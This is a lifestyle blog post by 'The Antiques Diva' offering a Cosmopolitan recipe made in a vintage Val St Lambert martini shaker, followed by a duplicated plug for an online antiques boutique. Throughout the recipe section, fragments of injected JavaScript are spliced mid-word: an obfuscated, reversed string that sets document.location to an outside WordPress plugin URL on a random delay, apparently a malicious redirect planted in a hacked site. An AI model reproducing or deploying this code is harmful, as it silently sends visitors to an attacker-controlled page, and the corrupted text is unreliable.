Treasures on Tuesday – Cosmopolitans – Diva in The City!

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toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>This week’s “Treasures on Tuesday” is a seriously sexy vintage Val de Lambert Crystal Martini Shaker. Made by the exclusive European crystal house that I like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to call “the Belgian Baccarat”, this treasure is ideal for a “Girls Night In”, perfect for shaking up some Sex in The City inspired Cosmopolitans!

While the traditional Cosmo is made with Triple Sec, I prefer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make it comme les français with Cointreau:

1 1/2 oz vodka
1 oz Cointreau
1/2 oz fresh lime juice
1/4 oz cranberry juice
Lime peel for garnish

  1. Shake, don’t stir, all the ingredients with ice in a crystal martini shaker.
  2. Strain intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a chilled martini glass – for fun you can rim the glass with sugar. A trick I learned from my friend, the author of She’s Shopping Now blog, is that you can make your sugar harden like pink candy on the glass rim by first dipping the glass intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Crème de Cassis before dipping intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sugar.
  3. Last, but not least, garnish with lime.
  4. Serve with a smile!

Cheers!

The Antiques Diva™

Shop online at “Treasures” by The Antiques Diva™ for this vintage martini shaker and other European treasures my team and I sourced throughout Holland, Belgium, France and Germany!

Paris Hotel Boutique

Lynn Goldfinger Abram, a San Francisco-based collector and antiques enthusiast, has amassed a wonderful assortment of items – from antique, jeweled crowns that bring out the princess in you, to a vast array of old hotel silver and a virtual treasure trove of well preserved items from the late 1800’s to the mid 20th century. These items make up her online catalogue at the Paris Hotel Boutique. Lynn has a great eye and buys what she thinks will “be in vogue” each season, stocking up on all those yummy things you see on the photo spreads of America’s best decorating magazines. Better yet, her prices seem to be shockingly reasonable. I might just order something myself and have it shipped to me in Europe.

Never fear, my dear European contingent, I haven’t forgotten you!

 

There is something for everyone as Lynn’s popularity is such that she already is shipping internationally as well as stateside! With the Euro as strong as it is against the Dollar, it might just make sense for you to buy your Lion King’s “circle of life”

Bonne Shopping et Au Revoir,

The Antiques Diva ™

Bonjour Mes Amies, 

As Europe is my personal playground, my specialty is recommending fab flea markets and fêtes on this side of the pond. Most often, stateside readers simply must hop a plane and come “play with me” on “the continent” and I like to think that this is what makes me so darn loveable and why you’re all clamoring to read my latest post! That said, though a diva through and through, I also happen to be shockingly pragmatic at times and even I recognize that my stateside readers can’t spend their entire life with jetlag and need someplace more practical (and a tad closer to home than the Paris flea market)to shop for their home décor. For those times when you can’t come to France, then Paris will just have to come to you – in a manner of speaking that is.

Lynn Goldfinger Abram, a San Francisco-based collector and antiques enthusiast, has amassed a wonderful assortment of items – from antique, jeweled crowns that bring out the princess in you, to a vast array of old hotel silver and a virtual treasure trove of well preserved items from the late 1800’s to the mid 20th century. These items make up her online catalogue at the Paris Hotel Boutique. Lynn has a great eye and buys what she thinks will “be in vogue” each season, stocking up on all those yummy things you see on the photo spreads of America’s best decorating magazines. Better yet, her prices seem to be shockingly reasonable. I might just order something myself and have it shipped to me in Europe.

Never fear, my dear European contingent, I haven’t forgotten you!

There is something for everyone as Lynn’s popularity is such that she already is shipping internationally as well as stateside! With the Euro as strong as it is against the Dollar, it might just make sense for you to buy your Lion King’s “circle of life”

Bonne Shopping et Au Revoir,

The Antiques Diva ™